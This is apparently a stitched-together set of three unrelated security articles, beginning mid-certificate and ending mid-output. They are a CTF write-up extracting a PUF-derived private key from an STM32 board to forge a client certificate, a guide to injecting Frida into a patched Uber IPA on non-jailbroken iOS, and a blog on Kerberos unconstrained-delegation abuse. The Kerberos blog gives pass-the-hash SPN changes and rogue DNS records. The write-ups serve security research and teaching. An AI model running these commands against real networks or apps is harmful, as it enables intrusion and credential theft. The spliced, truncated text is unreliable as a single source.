BgNVBAYTAkNIMQ8wDQYDVQQIDAZHZW5ldmExFTATBgNVBAoMDEluc29tbmknaGFj
azAeFw0xOTAzMTQxNjA3NDZaFw0yMDA3MjYxNjA3NDZaMFQxCzAJBgNVBAYTAkNI
MQ8wDQYDVQQIDAZHZW5ldmExFTATBgNVBAoMDEluc29tbmknaGFjazEdMBsGA1UE
AwwUYm9hcmQtMi5pbnNvbW5pLmhhY2swWTATBgcqhkjOPQIBBggqhkjOPQMBBwNC
AAQ6ezsYJBMBjVBhWLjPzcZjSv7/z4WQZI/820/RgryR+phEx6oY8EE8+EVA5+Jg
XuhIoTvirMKnhWkHBu+NtNNLMAoGCCqGSM49BAMCA0cAMEQCIDQgEWRfMgl78w68
92AYoRIrkLVMKmXHj6Kibqm0h66PAiAgaJnY8NgDzEXXcgnk7uKSJr5weal9b7mX
fTP+lQ8dGw==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIBwDCCAWWgAwIBAgIURc/ib+oKmFi+wE2R8p4frfrjZxowCgYIKoZIzj0EAwIw
NTELMAkGA1UEBhMCQ0gxDzANBgNVBAgMBkdlbmV2YTEVMBMGA1UECgwMSW5zb21u
aSdoYWNrMB4XDTE5MDMxNDEwNDkwOVoXDTE5MDQxMzEwNDkwOVowNTELMAkGA1UE
BhMCQ0gxDzANBgNVBAgMBkdlbmV2YTEVMBMGA1UECgwMSW5zb21uaSdoYWNrMFkw
EwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEYrOHfsBHEvA71iU0GvRp2MT0XflBCWwh
EJ2OkM6uI1C4dg8OfNul7CrqOz3/vxJ/aMWOCcwcfadSkMuXLnWdgaNTMFEwHQYD
VR0OBBYEFN4XdSOEDDc8mhd1Z5sJS0iXLaSbMB8GA1UdIwQYMBaAFN4XdSOEDDc8
mhd1Z5sJS0iXLaSbMA8GA1UdEwEB/wQFMAMBAf8wCgYIKoZIzj0EAwIDSQAwRgIh
AOBd8Q53tDEVhQHeZr4vZa7cVZIi0xW3JzT6y1TIOpDjAiEAxvmsQdLwf3SYVzlf
OQTTWPLAob+l+gyqt5Cfq5f6j4Y=
-----END CERTIFICATE-----

But now the complex things start: where the f*ck is the private key… At this point you have no choice to understand how the HTTPS connection is done to the server. The first and winning idea is to take back the serial log and try to identify the SDK used. At the beginning « Mbed OS 5.11.5 » explicitly give you the answer. Then, you need to dig more for guessing how the TLS is done.

The interesting part is :

Starting the TLS handshake…
Successfully completed the TLS handshake

After a few minutes digging with Google, this PAGE give you nearly the same trace I’ve obtain through the serial interface. From this sample code found in the SDK, you can find your way in the firmware:

SDK: allocating the object « HelloHttpsClient »
Decompiled version

As I’ve never pay attention on how to reverse some C++ code in an embedded target, I was stuck by the pointer added to a method without parameter in the original source code. Ghidra is doing a good job, but you need to understand that the pointer renamed here « complexStruct » is the pointer to the current memory segment of the instance of the object.

Then, digging more in the TLS part is needed. According to the SDK, using a client private certificate measn you need to call the function « mbedtls_ssl_conf_own_cert ». By searching in the strings I found « mbedtls_ssl_conf_own_cert() returned -0x%04X » and a XREF. This code is setting up the certificate pub/priv key pair:

Generation and setup of the private key

Now, it’s time to study the function genPrivateKey() and see how it works:

Computing the private key

The funniest part of the challenge is here. This code is nothing more than a bitwise AND with 2 offset in memory. One in flash, OK, but the other one in a non initialized SRAM zone! Now it’s time to have a look at the hint given during the CTF:

Fri Mar 22 2019, 22:20:22 [Perfectly Unbreakable Flag Hint]
The title acronym means something else in the hardware community!

« PUF » acronym. What? Google point THIS page. My friend dok tells me, « I know what it is, it’s something you can’t clone because it use some physical unpredictable parameter ». But in the current case the PUF function is the SRAM at boot. 64 bytes are used as the private key. But, as there is some flipping bits in those 64 bytes during the powerup sequence, another 64 bytes table is used as mask for keeping only the stables states bits, and remove the flipping one. This tech needs to boot a huge number of time the board to monitor the states of the 8×64 bits and only keep the stable one. That’s a REALLY GOOD TRIX!

🙂

Now I need to dump the content of the SRAM3, forgotten during the first dump  . It’s quite easy, even with the protection fuse set. You just need to connect your PC, run the ST-Link utility and press « connect », then on the target hit RESET and at the very first moment of the boot you can dump the whole SRAM zone. Even if the debug port is closed.

With the memory dump and the flash dump, here is the code who compute and display the private key:

import base64
sram = "\x09\xE6\xF1\x20\x32\xE2\x38\xDD\xCF\x29\x27\x7F\x6F\xEB\x76\x34\x40\xC4\x44\xDC\xCA\xCD\x3B\x87\x0B\xAB\xE1\xB8\xE8\x80\x7B\x9B\x3B\xAA\xD5\x04\x61\xCA\xA2\x91\x66\x32\x49\xDF\xE5\x42\x98\xF5\x98\xB2\x37\x7E\x7E\xEB\xFD\x2E\xAB\xC1\x9F\x5A\xC0\xE3\xFF\xD9"
flash = "\x59\x3D\x32\xFE\x47\xA5\x4A\x85\x88\x35\x4E\x27\x63\x49\x37\xB6\xFF\x1B\xBE\xC2\xCE\x63\x95\xAB\x30\x3F\x77\x9D\x59\xD3\xE2\x75\xDD\xFF\x1E\x03\x2E\xF1\xEE\xE1\x52\xE8\xAA\x8B\x0E\x9D\xFA\xEA\x4E\x3D\x79\x0C\xD7\xEB\xBD\x7E\x73\x35\x9E\x5B\xBE\x5D\x42\xD7"
res = []
for x in range(len(sram)) :
res.append( ord(sram[x]) & ord(flash[x]) )
print("Private key = ",res)

python3 decode.py
Private key = [9, 36, 48, 32, 2, 160, 8, 133, 136, 33, 6, 39, 99, 73, 54, 52, 64, 0, 4, 192, 202, 65, 17, 131, 0, 43, 97, 152, 72, 128, 98, 17, 25, 170, 20, 0, 32, 192, 162, 129, 66, 32, 8, 139, 4, 0, 152, 224, 8, 48, 49, 12, 86, 235, 189, 46, 35, 1, 158, 90, 128, 65, 66, 209]

At this point it was 3H56. My first think was « shit, it miss me 10 minutes to generate the private key and solve the challenge ».

CONTINUE THE REVERSE AT HOME

As it’s always a big deception to not finish a challenge in time, I continue at home to solve it. But I was wrong. It was far more complex to finish the reverse until the flag, and the 10 minutes changed to another 4 hours of job.

After obtaining the bits from SRAM who doesn’t flip, you need to reverse this:

Unknown hash function

And the funny stuff is for example:

no way to understand what’s running here…

This one doesn’t decompile, and the ASM view is not so clear. My guess is this an interrupt hook to an external crypto-engine who run in a few cycles a cryptographic function.

To help identifying the function, I’ve download an official TLS library from Mbed: mbedtls-2.16.0-apache.tgz. With this reference source code, the unknown function can be commented and is a little bit more readable:

a clean SHA256 code
😉

If you think it’s trivial now, your right but with the solution on the eyes it’s more easy, believe me  . So the unknown part of the private key become:

import base64
import hashlib
from array import array

sram = "\x09\xE6\xF1\x20\x32\xE2\x38\xDD\xCF\x29\x27\x7F\x6F\xEB\x76\x34\x40\xC4\x44\xDC\xCA\xCD\x3B\x87\x0B\xAB\xE1\xB8\xE8\x80\x7B\x9B\x3B\xAA\xD5\x04\x61\xCA\xA2\x91\x66\x32\x49\xDF\xE5\x42\x98\xF5\x98\xB2\x37\x7E\x7E\xEB\xFD\x2E\xAB\xC1\x9F\x5A\xC0\xE3\xFF\xD9"
flash = "\x59\x3D\x32\xFE\x47\xA5\x4A\x85\x88\x35\x4E\x27\x63\x49\x37\xB6\xFF\x1B\xBE\xC2\xCE\x63\x95\xAB\x30\x3F\x77\x9D\x59\xD3\xE2\x75\xDD\xFF\x1E\x03\x2E\xF1\xEE\xE1\x52\xE8\xAA\x8B\x0E\x9D\xFA\xEA\x4E\x3D\x79\x0C\xD7\xEB\xBD\x7E\x73\x35\x9E\x5B\xBE\x5D\x42\xD7"

res = []

for x in range(len(sram)) :
res.append( chr(ord(sram[x]) & ord(flash[x])) )
res = array('B', map(ord,res)).tostring()

print("Private key = ",res)
print("sha256 = " , hashlib.sha256(res).hexdigest())


$ python decode.py
Private key = b"\t$0 \x02\xa0\x08\x85\x88!\x06'cI64@\x00\x04\xc0\xcaA\x11\x83\x00+a\x98H\x80b\x11\x19\xaa\x14\x00 \xc0\xa2\x81B \x08\x8b\x04\x00\x98\xe0\x0801\x0cV\xeb\xbd.#\x01\x9eZ\x80AB\xd1"
sha256 = 8e140886f96ef269e736cb1fe24ea12627df6971f32d6c15b6cbc2810af19382

Fake the board and grab the flag

Now it’s time to start a little bit of crypto. EDIT: no, not a little! I have something looking like the private key and the full chain of certificate. I need to craft a correct certificate, so I can deploy it and visit the /flag URL. If you wonder how I can do that after the CTF you’re right: I have asked to the creators of the challenge the Docker files to run it here and finish the work.

First, craft the private key. For this one you need to generate the ECC correct private + public key file in .pem format. I never found a regular way working because of a lack of knowledge in certificate / keys manipulation. Thanks to Sylvain for correct my silly Python code. The use an enhanced Python crypto lib is needed, I’ve used Pycryptodome.

$ pip install pycryptodome

$ cat genKey.py
from Crypto.PublicKey import ECC

e=ECC.construct(curve="prime256v1", d=0x8e140886f96ef269e736cb1fe24ea12627df6971f32d6c15b6cbc2810af19382)

print e.export_key(format="PEM")

$ python2 genKey.py > privateKey.pem
$ cat privateKey.pem
-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgjhQIhvlu8mnnNssf
4k6hJiffaXHzLWwVtsvCgQrxk4KhRANCAAQ6ezsYJBMBjVBhWLjPzcZjSv7/z4WQ
ZI/820/RgryR+phEx6oY8EE8+EVA5+JgXuhIoTvirMKnhWkHBu+NtNNL
-----END PRIVATE KEY-----

Now you need to concatenate the 2 public certificates found in the flash of the board in a file called « chain.pem ». And finally generate a single file with all the stuff to import it on a regular browser:

$ openssl pkcs12 -inkey privateKey.pem -in chain.pem -export -out personnal.pfx

$ openssl pkcs12 -info -in personnal.pfx
Enter Import Password:
MAC: sha1, Iteration 2048
MAC length: 20, salt length: 8
PKCS7 Encrypted data: pbeWithSHA1And40BitRC2-CBC, Iteration 2048
Certificate bag
Bag Attributes
localKeyID: 95 5D 33 B2 38 0B 4C CE FC 46 DD 1C 55 17 63 45 5A 7A 17 82
subject=C = CH, ST = Geneva, O = Insomni'hack, CN = board-2.insomni.hack
issuer=C = CH, ST = Geneva, O = Insomni'hack
-----BEGIN CERTIFICATE-----
MIIBgzCCASoCFCmY+/pbZQotFeCkv5sGbAsdcsiLMAoGCCqGSM49BAMCMDUxCzAJ
BgNVBAYTAkNIMQ8wDQYDVQQIDAZHZW5ldmExFTATBgNVBAoMDEluc29tbmknaGFj
azAeFw0xOTAzMTQxNjA3NDZaFw0yMDA3MjYxNjA3NDZaMFQxCzAJBgNVBAYTAkNI
MQ8wDQYDVQQIDAZHZW5ldmExFTATBgNVBAoMDEluc29tbmknaGFjazEdMBsGA1UE
AwwUYm9hcmQtMi5pbnNvbW5pLmhhY2swWTATBgcqhkjOPQIBBggqhkjOPQMBBwNC
AAQ6ezsYJBMBjVBhWLjPzcZjSv7/z4WQZI/820/RgryR+phEx6oY8EE8+EVA5+Jg
XuhIoTvirMKnhWkHBu+NtNNLMAoGCCqGSM49BAMCA0cAMEQCIDQgEWRfMgl78w68
92AYoRIrkLVMKmXHj6Kibqm0h66PAiAgaJnY8NgDzEXXcgnk7uKSJr5weal9b7mX
fTP+lQ8dGw==
-----END CERTIFICATE-----
Certificate bag
Bag Attributes:
subject=C = CH, ST = Geneva, O = Insomni'hack
issuer=C = CH, ST = Geneva, O = Insomni'hack
-----BEGIN CERTIFICATE-----
MIIBwDCCAWWgAwIBAgIURc/ib+oKmFi+wE2R8p4frfrjZxowCgYIKoZIzj0EAwIw
NTELMAkGA1UEBhMCQ0gxDzANBgNVBAgMBkdlbmV2YTEVMBMGA1UECgwMSW5zb21u
aSdoYWNrMB4XDTE5MDMxNDEwNDkwOVoXDTE5MDQxMzEwNDkwOVowNTELMAkGA1UE
BhMCQ0gxDzANBgNVBAgMBkdlbmV2YTEVMBMGA1UECgwMSW5zb21uaSdoYWNrMFkw
EwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEYrOHfsBHEvA71iU0GvRp2MT0XflBCWwh
EJ2OkM6uI1C4dg8OfNul7CrqOz3/vxJ/aMWOCcwcfadSkMuXLnWdgaNTMFEwHQYD
VR0OBBYEFN4XdSOEDDc8mhd1Z5sJS0iXLaSbMB8GA1UdIwQYMBaAFN4XdSOEDDc8
mhd1Z5sJS0iXLaSbMA8GA1UdEwEB/wQFMAMBAf8wCgYIKoZIzj0EAwIDSQAwRgIh
AOBd8Q53tDEVhQHeZr4vZa7cVZIi0xW3JzT6y1TIOpDjAiEAxvmsQdLwf3SYVzlf
OQTTWPLAob+l+gyqt5Cfq5f6j4Y=
-----END CERTIFICATE-----
PKCS7 Data
Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2048
Bag Attributes
localKeyID: 95 5D 33 B2 38 0B 4C CE FC 46 DD 1C 55 17 63 45 5A 7A 17 82
Key Attributes:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIHjME4GCSqGSIb3DQEFDTBBMCkGCSqGSIb3DQEFDDAcBAimiYHm+GS83AICCAAw
DAYIKoZIhvcNAgkFADAUBggqhkiG9w0DBwQIpZKgXjFIC3IEgZAPX/83qeR2bwPn
/HDKhevSpTlqqzvT2NDxMdI907kMggHfVNgCY2rzMP3Bmk9F+CpdgpFPNFSP2gWV
iNDxGRusXAIDg3to2ZRCmt31/31idQwFgDqW2LqawXv0TCWit6Y22su7uDKDz0Vw
w2FZXeM26zGl+hkL0QJIuSqmyMhrncUzJdGxGWfXENKaee9JsMw=
-----END ENCRYPTED PRIVATE KEY-----

One fuckin’ thing to know: if you don’t set a password to your .pfx file, Firefox will fail silently to import it.

Another funny thing: at this point you don’t know if there is more computing on the 32 bytes used for generate the private key. The firmware is so huge, you can’t check all functions between the last key manipulation and the TCP_connect to the HTTPS port. You just need to try and pray…

Now you just need to connect to the super-secure cloud with the fake credz:

The extracted certificate roxx !!!

And now you just need to grab the flag:

The flag, hum

No, not exactly the flag …

Finish him

🙂

I was wondering the needs to this last step, who’ve made lost the flag to Marius (@nSinusR) from Tasteless (@TeamTasteless). Yes, Marius arrived during the CTF at this point at 3h55. It’s the difference between skilled teams and amateurs  . As we have access to the boards, we have the firmware, it would have been possible to patch the board to connect directly to the url https://perfectlyunbreakable-cloud.insomni.hack/flag instead of https://perfectlyunbreakable-cloud.insomni.hackduring the boot sequence. So the last step involve the private key you’ve used for generate the certificate as a proof of work. To remove the AES-CBC I’ve used Openssl:

$ hexdump -C flag.enc 
00000000 0f b8 b7 c7 53 8e 1e 20 93 ea 93 13 e3 08 9f 46 |….S.. …….F|
00000010 1e cb 13 8e 42 28 d0 46 52 39 27 28 09 15 2a cf |….B(.FR9'(..*.|
$ openssl enc -aes-256-cbc -d -in flag.enc -K '8e140886f96ef269e736cb1fe24ea12627df6971f32d6c15b6cbc2810af19382' -iv ' 00000000000000000000000000000000'
INS{R3v3Ng3_0f_t3h_Cl0n3S}
$

Conclusion

I personally go to Insomni’Hack CTF for one thing: the hardware challenges. This year 2 challenges were here for our pleasure. The first one from @_noskill of http://fixme.ch/ , intern at SCRT at the moment, were cool and a good warm-up (write-up from Sylvain of DUKS HERE). And this « monster » from Balda & Sylvain.

I must say this challenge occupy me during the whole CTF. I’ve learn a tech’ I’ve never seen before, the PUF concept is really funny and, I guess, used IRL. Solving a task close to a real project is far away more exiting, and it was the case here! Using Ghidra was a good experience, I’ll do it again and hope to forget ASAP IDA-PRO to focus only on this wonderful open-source tool.

🙂

A little regret on this one is the missing in the description of the « crypto » categorie. With this more accurate description I would not tried it alone, and I would asked for some helps to other members of the team at the very first moment of the CTF. And the complexity was too much for a 10 hours CTF, so the task wasn’t solved at 4h00 by anyone. To be honest, without the help of the conceptors, I’ll not be able to solve it, even afterwards (I guess I would ragequit() before the flag  ).

The troll

🙂

From the description: « To our surprise, we found out that our challenge from last year has been counterfeited by another CTF. » is well sent  . Last year I solved in 3 minutes the hardware challenge, because the flash read protection fuse on the STM32 was forgotten (write-up HERE). In November 2018 Balda got a kind word at GreHack CTF on the first hardware challenge :

"An Insomni'Hack 2018 tribute":
Was a 400 points at Insomni'hack and is only a 50 points at GreHack ... with the good tools ( Hello Baldanos  )
😉

This year you win, so 1 – 1. See you the 15th of November for the next edition of GreHack  .

Credits & Greetings

Nice challenge by Baldanos (@Baldanos) and Sylvain (@Pelissier_S). Thanks for your time and the technical trix on Ghidra during the CTF. Big up guyz!

🙂

Thanks to Azox (@8008135_) for help me at … 3H25! Pretty sure that together we would solve it in time, bourricot  !

Thanks to Marius (@nSinusR) from Tasteless (@TeamTasteless) for review & suggestions on this write-up.

😉

And also thanks to the SCRT team, especially Michael (@0xGrimmlin) for making things possible  . See you next year!

Write-up by Phil (@PagetPhil) 27/03/2019

Setting up Frida Without Jailbreak on devices running Latest iOS 12.1.4

Original text by Dinesh Shetty

Majority of the times during a penetration test or bug-bounty engagement, you might encounter customers who limit the scope of testing to non-jailbroken devices running the latest mobile OS. How do you dynamically instrument the application in those cases? How do you trace the various functionalities in the application while trying to attack the actual application logic?

Frida (https://www.frida.re/) is a runtime instrumentation toolkit for developers, reverse-engineers, and security researchers that allows you to inject your own script into the blackbox mobile application. Normally Frida is always installed and run on Jailbroken devices. That process is pretty straight-forward. However, the complexity increases when you want to run it on non-jailbroken devices. In this article I’ll explain in detail the steps to be followed to get Frida running on the latest non-jailbroken version of iOS viz iOS 12.1.4.

The only requirement at this stage is an unencrypted IPA file. This is normally provided by the customer. If not, we can download the IPA file from the AppStore and then use tools like Clutch(https://github.com/KJCracks/Clutch) or bfinject(https://github.com/BishopFox/bfinject) to decrypt it. Alternatively unencrypted versions of the IPA files are also available on https://www.iphonecake.com/. Ensure that you do a checksum check and verify it with the custom before you start testing. Don’t be shocked if you find that the IPA files from the website have been modified to include un-intended code. In our case, lets target the Uber application from the AppStore.

The various steps for setting up Frida to run on non-jailbroken iOS device are:

1) Setting up the Signing Identity

2) Setting up Mobile Provision File

3) Performing the Actual Patching

4) Fixing Codesign issues

5) Performing the required Frida-Fu

I will take you through each of these steps one-by-one.

Setting up the Signing Identity

a) Launch Xcode and navigate to the Accounts section using the Preferences menu item. Make sure you are logged in to Xcode using your Apple account.

b) Select “Agent” and Click Manage Certificates.

c) Click + and select “iOS Development”.

d) To verify that the identity is properly set up, you can use the following command:

security find-identity -p codesigning -v

This command will output all the signing identities for your account.

Setting up Mobile Provision File

a) Next step will be to create a new Xcode project with team as agent and target as your actual test device and click play. Run the application on the device. You have to do this step for every new device that you want to use for testing.

b) Right click the generated .app file and select “Show in Finder”.

c) Right click the .app file from the Finder and select “Show Contents”.

d) Save the embedded.mobileprovision file. You will need this later while signing the IPA file.

Performing the Actual Patching

a) Download the latest version of Frida. This can be done using the following command:

curl -O https://build.frida.re/frida/ios/lib/FridaGadget.dylib

b) Unzip the IPA file and copy this Frida library into the folder named “Frameworks”. If the folder “Frameworks” does not exist, create it.

unzip Uber.ipa
cp FridaGadget.dylib Payload/Helix.app/Frameworks

c) Now, we will use the tool insert_dylib by Tyilo to inject the Frida dylib into the Uber Mach-O binary executable

Use the following steps to build the insert_dylib tool.

git clone https://github.com/Tyilo/insert_dylib
cd insert_dylib
xcodebuild

d) The executable can now be found at “build” folder. Copy the generated insert_dylib executable to your system path using the following command:

cp insert_dylib/build/Release/insert_dylib /usr/local/bin/insert_dylib

e) Use the following command to inject the Frida dylib into your Uber Mach-O binary executable

insert_dylib --strip-codesig --inplace '@executable_path/Frameworks/FridaGadget.dylib' Payload/Helix.app/Helix

If we try to install the application now, it will fail because of code sign issues. We need to fix it before we proceed.

Fixing Codesign issues

a) Sign the Frida dylib using codesign. This can be done using the following command.

codesign -f -v -s  5E25E<snipped-signing-identity> Payload/Helix.app/Frameworks/FridaGadget.dylib

b) Zip the Payload folder into an IPA file using the following command:

zip -qry patchedapp.ipa Payload

c) Install `applesign` utility using the following command:

npm install -g applesign

d) Now, sign the patched IPA file that we created previously.

applesign -i 5E25E<snipped-signing-identity> -m embedded.mobileprovision -o patched_codesign.ipa patchedapp.ipa

e) Install ios-deploy and then push the patched_codesign IPA file to the device.

npm install -g ios-deploy
mkdir final_file
cp patched_codesign.ipa final_file
cd final_file
unzip patched_codesign.ipa
ios-deploy --bundle Payload/*.app --debug -W

Observe that the console message indicates that Frida is now running on port 27042.

Frida-Fu

Your iOS device will appear to be frozen till you enter the Frida commands. To confirm if Frida gadget is actually working make use of the following command:

frida-ps -Uai

Connect to the Gadget using:

frida -U Gadget

Trace Crypto calls using:

frida-trace -U -i "*Crypto*" Gadget

The following shows the sample usage of Frida scripts

frida -U -l list-classes.js Gadget

That is all I have for this article. In later articles we will talk about how to use Frida to perform a variety of attacks on Mobile Applications.

“Relaying” Kerberos — Having fun with unconstrained delegation

Original text by Dirk-jan Mollema

There have been some interesting new developments recently to abuse Kerberos in Active Directory, and after my dive into Kerberos across trusts a few months ago, this post is about a relatively unknown (from attackers perspective), but dangerous feature: unconstrained Kerberos delegation. During the writing of this blog, this became quite a bit more relevant with the discovery of some intersting RPC calls that can get Domain Controllers to authenticate to you, which even allow for compromise across forest boundaries. Then there was the discovery of PrivExchange which can make Exchange authenticate in a similar way. Because tooling for unconstrained delegation abuse is quite scarce, I wrote a new toolkit, krbrelayx, which can abuse unconstrained delegation and get Ticket Granting Tickets (TGTs) from users connecting to your host. In this blog we will dive deeper into unconstrained delegation abuse and into some more advanced attacks that are possible with the krbrelayx toolkit.

Relaying Kerberos???

Before we start off, let’s clear up a possible confusion: no, you cannot actually relay Kerberos authentication in the way you can relay NTLM authentication. The reason the tool I’m releasing is called krbrelayx is because it works in a way similar to impackets ntlmrelayx (and shares quite some parts of the code). Kerberos tickets are partially encrypted with a key based on the password of the service a user is authenticating to, so sending this on to a different service is pointless as they won’t be able to decrypt the ticket (and thus we can’t authenticate). So what does this tool actually do? When Windows authenticates to service- or computeraccounts that have unconstrained delegation enabled, some interesting stuff happens (which I’ll explained later on) and those accounts end up with a usable TGT. If we (as an attacker) are the ones in control of this account, this TGT can then be used to authenticate to other services. Krbrelayx performs this in a similar way to when you are relaying with ntlmrelayx (with automatic dumping of passwords, obtaining DA privileges, or performing ACL based attacks), hence the similar naming. If you first want to read about what unconstrained delegation is on a high level, I recommend Sean Metcalf’s blog about it.

Attack requirements

To perform this unconstrained delegation attack, we already need to have a couple of requirements:

  1. Control over an account with unconstrained delegation privileges
  2. Permissions to modify the servicePrincipalName attribute of that account (optional)
  3. Permissions to add/modify DNS records (optional)
  4. A way to connect victim users/computers to us

Unconstrained delegation account

The first thing we need is an account that has unconstrained delegation privileges. This means an account that has the TRUSTED_FOR_DELEGATION UserAccountControl flag set. This can be on either a user account or a computer account. Any user in AD can query those accounts, using for example PowerView:

$Computers = Get-DomainComputer -Unconstrained
$Users = Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Or the ActiveDirectory Powershell module:

$computers = get-adcomputer -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
$user = get-aduser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Or they can be extracted using one of my own tools, ldapdomaindump, which will report users/computers that have this privilege with the TRUSTED_FOR_DELEGATION flag:

grep TRUSTED_FOR_DELEGATION domain_computers.grep
grep TRUSTED_FOR_DELEGATION domain_users.grep

Once we compromised an account, which means we have obtained the account password or Kerberos keys, we can decrypt Kerberos service tickets used by users authenticating to the service associated with the compromised account. Previous ways to abuse unconstrained delegation involve dumping the cached tickets from LSASS using for example Mimikatz or Rubeus, but this requires executing code on a compromised host. In this blog we’ll avoid doing that, and instead do the whole thing over the network from a host we fully control without having to worry about endpoint detection or crashing production servers by dumping processes (though this doesn’t apply to Rubeus since it uses native APIs).

For user accounts, passwords can be obtained the typical way, by Kerberoasting, cracking NTLMv1/NTLMv2 authentication, simply guessing weak passwords or dumping them from memory on compromised hosts. Computer accounts are harder to obtain since they do by default have very strong randomly generated passwords and their password/keys only reside on the host the account belongs to (or on the DC). When we have Administrator rights on the associated host, it becomes relatively easy since the computer account password is stored in the registry and thus can be obtained via the network with secretsdump.py, or by dumping the secrets with mimikatz lsadump::secrets. Both also support dumping secrets from offline registry hives.

To calculate the Kerberos keys from plaintext passwords, we also need to specify the salt. If you’re familiar with Kerberos, you’ll know that there are different encryption algorithms used. The weakest cipher supported by modern AD installs uses RC4, with a key based on the NTLM hash of the user (not including any salt). The AES-128 and AES-256 ciphers that Windows will pick by default however do include a salt, which we will need to include in the key calculation. The salt to calculate these keys is as follows:

  • For user accounts, it is the uppercase Kerberos realm name + case sensitive username
  • For computer accounts, it is the uppercase realm name + the word host + full lowercase hostname

The Kerberos realm name is the fully qualified domain name (FQDN) of the domain (so not the NETBIOS name!), the full hostname is also the FQDN of the host, not just the machine name, and does not include an $. The username used as salt for user accounts is the case-sensitive SAMAccountName (so if the user is called awEsOmEusER1 then awesomeuser1 will not generate the correct key).

For computer accounts, I’ve added functionality to secretsdump.py which will automatically dump the machine Kerberos keys if you run it against a host (you will need at least impacket 0.9.18 or run the latest development version from git). If it can’t figure out the correct salt for some reason you can specify this yourself to krbrelayx.py with the --krbpass or --krbhexpass (for hex encoded binary computer account passwords) and --krbsalt parameters. As a sidenote, this took me way longer than expected to implement since computer accounts passwords are random binary in UTF-16-LE, but Kerberos uses UTF-8 input for key deriviation. The UTF-16 bytes are however not valid unicode, which makes Python not too happy when you try to convert this to UTF-8. It took me a while to figure out that Microsoft implementations actually implicitly replace all invalid unicode characters when performing the conversion to UTF-8 for Kerberos keys. After telling python to do the same the keys started matching with those on my DC ¯\_(ツ)_/¯.

Control over ServicePrincipalName attribute of the unconstrained delegation account

After having obtained the Kerberos keys of the compromised account we can decrypt the tickets, but we haven’t discussed yet how to actually get hosts to authenticate to us using Kerberos. When a user or computer wants to authenticate with Kerberos to the host somehost.corp.com over SMB, Windows will send a request for a service ticket to the Domain Controller. This request will include the Service Principal Name (SPN), made up from the protocol and the host which the service is on. In this example this would be cifs/somehost.corp.com. The Domain Controller performs a lookup in the directory which account (if any) has this ServicePrincipalName assigned, and then uses the Kerberos keys associated with that account to encrypt the service ticket (I’m skipping on the technical details for now, you can find those in a later paragraph).

To make sure that victims authenticate to the account with unconstrained delegation and that we can decrypt the tickets, we need to make sure to send their traffic to a hostname of which the SPN is associated with the account we are impersonating. If we have the hostname attacker.corp.com and that SPN is not registered to the right account, the attack won’t work. The easiest way to do this is if we have control over an account that has privileges to edit attributes of the computer- or useraccount that we compromised, in which case we can just add the SPN to that account using the addspn.py utility that is included with krbrelayx:

user@localhost:~/adtools$ python addspn.py -u testsegment\\backupadmin -s host/testme.testsegment.local -t w10-outlook.testsegment.local ldap://s2016dc.testsegment.local
Password: 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

If we don’t have those privileges, it is a bit more complicated, and for user accounts I haven’t found a way to modify the SPNs without having those rights assigned. Computer accounts can by default add their own SPNs via the “Validated write to servicePrincipalName” right, but they can only write SPNs that match their full hostname or SAMAccountName. This would seem like a dead end, but there is a way around this! There is an additional validated write right, which allows computers to update their own msDS-AdditionalDnsHostName property, which got introduced in Server 2012 and contains additional hostnames for a computer object. According to the documentation, this validated write allows us to add any hostname which has the FQDN of the domain that we are in as a suffix, as long as we have the Validated-MS-DS-Additional-DNS-Host-Name validated write right. This right is not assigned by default:

SELF rights for computer objects

While playing with this property however, it turned out that the Validated-MS-DS-Additional-DNS-Host-Namevalidated write right isn’t actually needed to update the msDS-AdditionalDnsHostName property. The “Validated write to DNS host name”, which is enabled for computer objects by default, does also allow us to write to the msDS-AdditionalDnsHostName property, and allows us to assign any hostname within the current domain to the computer object, for which SPNs will then automatically be added. With this trick it is possible to add an SPN to our account that we can point to a hostname that is under the control of an attacker:

user@localhost:~/adtools$ python addspn.py -u testsegment\\w10-outlook\$ -p aad3b435b51404eeaad3b435b51404ee:7a99efdea0e03b94db2e54c85911af47 -s testme.testsegment.local s2016dc.testsegment.local
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
user@localhost:~/adtools$ python addspn.py -u testsegment\\w10-outlook\$ -p aad3b435b51404eeaad3b435b51404ee:7a99efdea0e03b94db2e54c85911af47 s2016dc.testsegment.local -q
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=W10-OUTLOOK,CN=Computers,DC=testsegment,DC=local - STATUS: Read - READ TIME: 2018-11-18T20:44:33.730958
    dNSHostName: W10-OUTLOOK.testsegment.local
    msDS-AdditionalDnsHostName: TESTME$
                                testme.testsegment.local
    sAMAccountName: W10-OUTLOOK$
    servicePrincipalName: TERMSRV/TESTME
                          TERMSRV/testme.testsegment.local
                          WSMAN/TESTME
                          WSMAN/testme.testsegment.local

If for whatever reason we can’t modify the SPN to a hostname under the attackers control, we can always hijack the current SPN by modifying the DNS record or using your favorite spoofing/mitm attack, though this will break connectivity to the host, which I wouldn’t recommend in production environments.

Permissions to add/modify DNS records

After adding a new SPN that points to a hostname not in use on the network, we of course need to make sure the hostname we added resolves to our own IP. If the network you are in uses Active Directory-Integrated DNS, this should be straighforward. As Kevin Robertson described in his blog about ADIDNS, by default any authenticated user can create new DNS records, as long as there is no record yet for the hostname. So after we add the SPN for attacker.corp.com to our unconstrained delegation account, we can add a record for this hostname that points to our IP using for example PowerMad (different hostname used as example):

powermad

I also added a tool to the krbrelayx repo that can perform DNS modifications (dnstool.py) in AD over LDAP:

user@localhost:~/adtools$ python dnsparse.py -u icorp\\testuser icorp-dc.internal.corp -r attacker -a add -d 10.1.1.2 
Password: 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Afterwards we can see the record exists in DNS:

user@localhost:~/adtools$ python dnsparse.py -u icorp\\testuser icorp-dc.internal.corp -r attacker -a query
Password: 
